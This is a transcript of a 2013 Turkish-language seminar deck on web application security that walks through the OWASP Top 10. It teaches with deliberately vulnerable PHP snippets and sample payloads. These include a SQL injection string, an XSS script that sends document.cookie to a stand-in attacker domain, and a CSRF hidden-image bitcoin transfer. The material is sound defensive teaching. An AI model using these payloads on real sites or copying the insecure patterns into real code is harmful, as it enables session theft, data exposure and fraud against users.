Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Web Uygulamalarında Güvenlik

Web Uygulamalarında Güvenlik

Bilkent Özgür Yazılım ve İnternet Teknolojileri Kulübü Siber Güvenlik Seminerleri

D55de538259751cc08d16a0843e1c69f?s=128

Hidayet Doğan

November 29, 2013
Tweet

More Decks by Hidayet Doğan

Other Decks in Programming

Transcript

  1. Web Uygulamalarında Güvenlik Bilkent Özgür Yazılım ve İnternet Teknolojileri Kulübü

    Siber Güvenlik Seminerleri
  2. Merhaba! • Hidayet Doğan • http://hi.do • @hdogan

  3. Hurafeler • “POST” metod daha güvenlidir hacı. • “hidden” input

    kimse tarafından görüntülenemez. • Kodu bir tek ben görüyorum, benden başka kimse neyin nasıl olduğunu tahmin edemez.
  4. Artizlik • Benim işim değil, (sistemcini|veritabancını)n işi. • Ben biliyom,

    en çok ben bilirim, en çok bana soracaksınız. Şurdan şöyle girdiler sisteme.
  5. Cahil Cesareti / WTF? • Hızlı ve güvenilir ASP(döt)NET kullanılacak.

    • Microfart $QL kullansaydık böyle olmazdı.
  6. Ne gerek var?

  7. Ne gerek var? • Saldırıların %70’i altyapıya değil uygulamaya yapılıyor.

    (Gartner) • DDoS saldırılarının %25’i uygulamaya yapılıyor. (Gartner) • Kurumların %73’ü 2 yıl içinde en az 1 defa, web uygulamaları üzerinden “hack”leniyor. (Phonemon Institute) • Altyapıda/ağda yapılacak çözümler uygulamaya saldırı yapılmayacak anlamına gelmez.
  8. Eee napcaz?

  9. Oku, Tanı, Takip Et • RTFM! • Çalıştığın ortam (veritabanı,

    web sunucusu, işletim sistemi) • Kullandığın kütüphaneler • Yeni birşey var mı? Neyi düzeltmişler?
  10. OWASP Open Web Application Security Project http://www.owasp.org

  11. OWASP İlk 10 • Enjeksiyon, sızma (Injection) • Bozuk kimlik

    doğrulama ve oturum yönetimi (Broken Authentication / Session) • Cross-Site Scripting (XSS) • Güvenlik önlemsiz doğrudan erişim (Insecure Direct Object Reference) • Hatalı güvenlik ayarları (Security Misconfiguration) • Hassas verilerin ortada bırakılması (Sensitive Data Exposure) • Eksik (işlev bazlı) erişim kontrolü (Missing Access Control) • Cross-Site Request Forgery (CSRF) • Zafiyetleri bilinen bileşenleri kullanmak • Kontrolsüz yönlendirmeler (Unvalidated Redirects / Forwards)
  12. Enjeksiyon (Injection) • Hedef yorumlayıcı içine sızma. • En yaygını

    SQL Injection. • Ziyaretçiden gelen veriyi süzmemek. <?php $query = “SELECT * FROM kayitlar WHERE kayit_no = ‘ “ . $_GET[‘kayit_no'] . “ ‘ “; ?> http://ornek.com/kayit-goster.php?kayit_no=' OR ‘1’ = ‘1
  13. Bozuk Kimlik Doğrulama ve Oturum Yönetimi (Broken Authentication / Session)

    • Parolaları veritabanında kabak gibi açıkta tutmak. • Zayıf kimlik yönetimi. • Adres satırından oturum kimliği iletmek. • Zaman aşımsız oturum yönetimi. http://ornek.com/benim_hesabim.php? SESSIONID=4950ce77b4b73ca33c32e7dc5b8a3e9e
  14. Cross-Site Scripting (XSS) • Ziyaretçiden gelen verinin güvenilir olduğunu sanmak.

    • En yaygını JavaScript kodları göndermek. <input type="text" name="ad_soyad" value="<?php echo $ad_soyad; ?>"> "><script>document.location='http://lAmErbOyZ.kom/oh-yeah.jsp? veriler='+document.cookie;</script>
  15. Güvenlik Önlemsiz Doğrudan Erişim (Insecure Direct Object Reference) • Sadece

    kullanıcıdan gelen veri ile hareket etmek. • Talep edilen veri gerçekten ziyaretçiye mi ait? <?php $query = "SELECT * FROM sepetler WHERE hesap_no = " . intval($_GET['hesap_no']); ?> http://ornek.com/alisveris_sepetim.php?hesap_no=123
  16. Hatalı Güvenlik Ayarları (Security Misconfiguration) • Güncel olmayan sürümlerin kullanılması

    • Gereksiz (kullanılmayan) özelliklerin açık bırakılması • Öntanımlı hesapların, parolaların bırakılması • Hata, ayıklama (debug) raporlarının ziyaretçiler tarafından görünür olarak bırakılması
  17. Hassas Verilerin Ortada Bırakılması (Sensitive Data Exposure) • Hassas verileri

    açık şekilde aktarmak, saklamak. • Eski / dandik şifreleme algoritlamaları kullanmak.
  18. Cross-Site Request Forgery (CSRF) • Ziyaretçiyi taklit etmek. • Ziyaretçiden

    habersiz direktifler göndermek. <img src=“http://ornek.com/bitcoin_aktar.php? kimden=Engür& kime=lAmErbOyZ& miktar=8" width="0" height="0">
  19. Zafiyetleri Bilinen Bileşenler Kullanmak • Eceli gelen köpüş cami duvarına

    … • A: Güncelleme geldi sahip.
 B: Önemli birşey yoktur, yarın bakarım. • Genellikle otomatik tarayıcılar sizi gelir bulur. • Takip Et: Common Vulnerabilities and Exposures (CVE) • http://cve.mitre.org
  20. Kontrolsüz Yönlendirmeler (Unvalidated Redirects / Forwards) • Ziyaretçiler gerçekten tahmin

    ettiğin gibi senin uygulaman içinde bir yere mi yönlendiriliyorlar? <?php if ($giris == 'tamam') { header("Location: $adres"); } ?>
  21. Teşekkürler • http://www.owasp.org • http://cve.mitre.org • http://websec.io